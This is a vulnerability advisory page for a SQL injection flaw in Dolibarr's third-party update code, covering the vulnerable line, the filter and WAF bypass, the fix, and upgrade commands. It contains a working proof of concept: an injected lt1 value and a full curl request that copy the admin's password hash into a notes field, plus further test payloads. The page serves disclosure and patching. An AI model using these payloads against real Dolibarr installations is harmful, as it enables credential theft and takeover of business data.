CVE-2026-33944 — Dolibarr has SQL Injection in dolibarr/dolibarr
Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.55%). Schedule for your next planned update.
Does your project use an affected dolibarr/dolibarr version?
Paste your composer.lock to check it for CVE-2026-33944 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated
directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.
An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.
Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.
Details
Vulnerable code (societe/class/societe.class.php, line 1672):
$sql .= ",localtax1_value =".$this->localtax1_value;
The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no
$db->escape().
The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is
in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.
Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1
parameter bypasses it entirely.
The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.
Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.
PoC
Steps to reproduce:
- Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
- Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
- Create or open any existing Third Party (company) record
- Click "Edit" on the company card to open the update form
- Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
localtax1assuj_value=1lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
- Submit the form (server responds with HTTP 302 Found — successful update)
- Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field
Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).
Figure 1 — Notes tab before exploitation (Private Note field is empty):
Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:
Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):
Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):
curl PoC:
curl -b cookies.txt \
--data-urlencode "action=update" \
--data-urlencode "token=CSRF_TOKEN" \
--data-urlencode "socid=1" \
--data-urlencode "name=TestCompany" \
--data-urlencode "status=1" \
--data-urlencode "localtax1assuj_value=1" \
--data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
--data-urlencode "client=1" \
--data-urlencode "typent_id=0" \
"http://TARGET/societe/card.php?socid=1"
Additional proof — arithmetic evaluation:
Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.
Additional proof — user count exfiltration:
Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.
Impact
An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:
- Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
- Modify any database record via additional SET clauses in the UPDATE injection
- Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
- Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation
Suggested Fix
// societe.class.php, line 1528 — add (float) cast:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));
// societe.class.php, line 1672 — add (float) cast:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);
Apply same fix for localtax2_value (lines 1529, 1682).
Credit
Please credit this finding to: Grzegorz Tworek (F3715H) sec4check (grzegorz.tworek@sec4check.pl)
Advisory Timeline
- First published October 27, 2026 (30 days ago).
- Last revised November 5, 2026 — 9 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "dolibarr/dolibarr:^23.0.2"
composer require "dolibarr/dolibarr:^22.0.5"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| dolibarr/dolibarr Packagist · Affected: All versions | 23.0.2 |
| dolibarr/dolibarr Packagist · Affected: 10.0.0, 10.0.1, 10.0.2, 10.0.3 (+108 more) | 22.0.5 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-89SQL InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-v5fq-cf5m-vwv7WEB
- https://github.com/Dolibarr/dolibarr/commit/a06b14b7dc39d33f8fa00c9b27f2913b494885cbWEB
- https://github.com/Dolibarr/dolibarr/commit/c83c13305240c2c0a3779e678b57238b32d15e7cWEB
- https://github.com/Dolibarr/dolibarrPACKAGE
- https://github.com/Dolibarr/dolibarr/releases/tag/22.0.5WEB
- https://github.com/Dolibarr/dolibarr/releases/tag/23.0.2WEB
- https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.htmlWEB
Frequently Asked Questions
- What is CVE-2026-33944?
- Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-33944?
- CVE-2026-33944 affects dolibarr/dolibarr. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33944 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 39.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2017-17899CRITICAL
Dolibarr SQL injection vulnerability in adherents/subscription/info.php
- CVE-2022-40871CRITICAL
Dolibarr vulnerable to Eval Injection
- CVE-2017-7888CRITICAL
Dolibarr ERP and CRM Insecure Encryption
- CVE-2017-17897CRITICAL
Dolibarr SQL injection vulnerability in comm/multiprix.php
- CVE-2018-13449CRITICAL
Dolibarr SQL injection vulnerability in product/card.php
- CVE-2022-43138CRITICAL
Dolibarr vulnerable to privilege escalation
- CVE-2022-4093CRITICAL
SQL injection in Dolibarr
- CVE-2017-7886CRITICAL
Dolibarr SQL Injection in doli/theme/eldy/style.css.php via the lang parameter